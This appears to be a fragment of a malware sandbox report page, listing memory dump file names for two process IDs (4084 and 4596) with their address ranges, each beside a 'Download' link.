                                                        memory/4084-35-0x00007FFF661C0000-0x00007FFF66B64000-memory.dmp
                                                        Download

                                                        memory/4084-34-0x00007FFF661C0000-0x00007FFF66B64000-memory.dmp
                                                        Download

                                                        memory/4084-33-0x00007FFF661C0000-0x00007FFF66B64000-memory.dmp
                                                        Download

                                                        memory/4084-32-0x00007FFF661C0000-0x00007FFF66B64000-memory.dmp
                                                        Download

                                                        memory/4084-21-0x00007FFF661C0000-0x00007FFF66B64000-memory.dmp
                                                        Download

                                                        memory/4084-88-0x00007FFF661C0000-0x00007FFF66B64000-memory.dmp
                                                        Download

                                                        memory/4084-28-0x00007FFF661C0000-0x00007FFF66B64000-memory.dmp
                                                        Download

                                                        memory/4084-26-0x00007FFF661C0000-0x00007FFF66B64000-memory.dmp
                                                        Download

                                                        memory/4084-23-0x00007FFF661C0000-0x00007FFF66B64000-memory.dmp
                                                        Download

                                                        memory/4596-22-0x00007FFF661C0000-0x00007FFF66B64000-memory.dmp
                                                        Download

                                                        memory/4596-0-0x00007FFF6634F000-0x00007FFF66350000-memory.dmp
                                                        Download

                                                        memory/4596-18-0x000001CE1BF60000-0x000001CE1C122000-memory.dmp
                                                        Download

                                                        memory/4596-17-0x00007FFF661C0000-0x00007FFF66B64000-memory.dmp
                                                        Download

                                                        memory/4596-16-0x00007FFF661C0000-0x00007FFF66B64000-memory.dmp
                                                        Download

                                                        memory/4596-15-0x00007FFF661C0000-0x00007FFF66B64000-memory.dmp
                                                        Download

                                                        memory/4596-14-0x00007FFF661C0000-0x00007FFF66B64000-memory.dmp
                                                        Download

                                                        memory/4596-13-0x00007FFF661C0000-0x00007FFF66B64000-memory.dmp
                                                        Download

                                                        memory/4596-12-0x00007FFF661C0000-0x00007FFF66B64000-memory.dmp
                                                        Download

                                                        memory/4596-11-0x00007FFF661C0000-0x00007FFF66B64000-memory.dmp
                                                        Download

                                                        memory/4596-10-0x00007FFF661C0000-0x00007FFF66B64000-memory.dmp
                                                        Download

                                                        memory/4596-9-0x00007FFF661C0000-0x00007FFF66B64000-memory.dmp
                                                        Download

                                                        memory/4596-8-0x00007FFF661C0000-0x00007FFF66B64000-memory.dmp
                                                        Download

                                                        memory/4596-7-0x00007FFF661C0000-0x00007FFF66B64000-memory.dmp
                                                        Download

                                                        memory/4596-6-0x000001CE1B930000-0x000001CE1B952000-memory.dmp
                                                        Download

                                                        memory/4596-3-0x00007FFF661C0000-0x00007FFF66B64000-memory.dmp
                                                        Download

                                                        memory/4596-2-0x00007FFF661C0000-0x00007FFF66B64000-memory.dmp
                                                        Download

                                                        memory/4596-1-0x00007FFF661C0000-0x00007FFF66B64000-memory.dmp
                                                        Download